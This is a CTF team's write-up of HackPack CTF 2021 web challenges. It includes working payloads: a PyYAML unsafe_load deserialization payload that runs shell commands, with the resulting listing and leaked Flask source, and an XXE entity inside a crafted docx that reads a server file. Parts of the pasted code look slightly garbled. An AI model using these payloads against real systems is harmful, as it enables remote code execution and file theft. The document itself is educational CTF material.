HackPack CTF 2021
Web Writeups⌗
Hello there we (fr334aks) took part in hackpack CTF 2021 and ended up solving all the available Web challenges, here are our writeups for them.
“N"ot “G"am"I"ng a"N"ymore in “X"mas⌗
Challenge⌗
Solution⌗
- tried a random name as password and used the network tab in dev options to inspect the requests
found a post request with data as
debug=0
changed that todebug=1
as
and
which revealed the default nginx.conf
file revealing a hidden directory /maybehereimportantstuff
,visiting it we are met with the flag
Flag : flag{ng1nx_m1sconf1g_c4n_b3_h4rmful}
Yaml-2-json⌗
Challenge⌗
Solution⌗
full writeup for this challenge can be found here from Saudi, Yaml-2-Json
instead of repeating what he did i will just share the main.py file here 😂
having gained RCE on the CTF instance i further deciced to explore a bit further
using the exploit as
flag: !!python/object/apply:subprocess.check_output
args: [ ls -lah ]
kwds: { shell: true }
i was able to view all the files in the directory
total 36K
drwxr-xr-x 1 root root 4.0K Apr 14 22:17 .
drwxr-xr-x 1 root root 4.0K Apr 14 22:25 ..
-rw-rw-r-- 1 root root 30 Apr 14 22:16 .env
drwxrwxr-x 6 root root 4.0K Apr 14 22:16 .venv
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 __pycache__
-rw-rw-r-- 1 root root 778 Apr 14 22:16 main.py
-rw-r--r-- 1 root root 204 Dec 6 18:41 prestart.sh
-rw-rw-r-- 1 root root 131 Apr 14 22:16 requirements.txt
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 templates
decided to retrieve the source code main.py
using
flag: !!python/object/apply:subprocess.check_output
args: [ cat main.py ]
kwds: { shell: true }
beautified code is below, enjoy your further analysis
from flask import Flask, render_template, make_response
from flask.globals import request
import yaml
import os
from dotenv import load_dotenv
app = Flask(__name__)
@app.route('', methods = ['GET'])
def index():
premium = request.cookies.get('premium')
resp = make_response(render_template("index.html", premium = premium == 'true'))
if premium is None:
resp.set_cookie('premium', 'false')
return resp
@ papp.route('', methods = ['POST'])
def parse():
load_dotenv()
premium = request.cookies.get('premium')
data = request.form['yaml']
if premium == 'true':
json = yaml.unsafe_load(data)
else :
json = yaml.load(data, yaml.BaseLoader)
return render_template("index.html", json = json, premium = premium == 'true')
All about resetting⌗
Challenge⌗
solution⌗
- Writeup by Mystik0ri0n All-about-resetting
Indead V1⌗
Challenge⌗
solution⌗
Indead V2⌗
Challenge⌗
interface
Solution⌗
- This was a interesting challenge where we are to take advantage of a vulnerable docx parser to trigger XXE to file inclusion,
armed with the flag location
/var/www/flag.txt
we can proceed to crack a malicious docx file that retrieves the flag for us when parsed.
started by creating a simple resume.docx file.
unzipped the file contents and changed the values of document.xml to include our payload as
our modifications to the document included <!DOCTYPE test [<!ENTITY test SYSTEM 'file:///var/www/flag.txt'>]>
and also changing our only info in the document to call our payload when parsed
<w:t xml:space="preserve">&test;</w:t></w:r>
and then later zipping the contents back before uploading
┌─[@parrot]─[~/Desktop/CTFs/hackpack]
└──╼ $zip resume.docx word/document.xml
updating: word/document.xml (deflated 59%)
uploading the malicous document as our resume gets us the flag
Flag : flag{XML_is_ancestor_0f_every7hing_do_you_agree_?}
Further Reading and references⌗
Thank you for your time. for any errors and corrections kindly reach me on twitter @k0imet_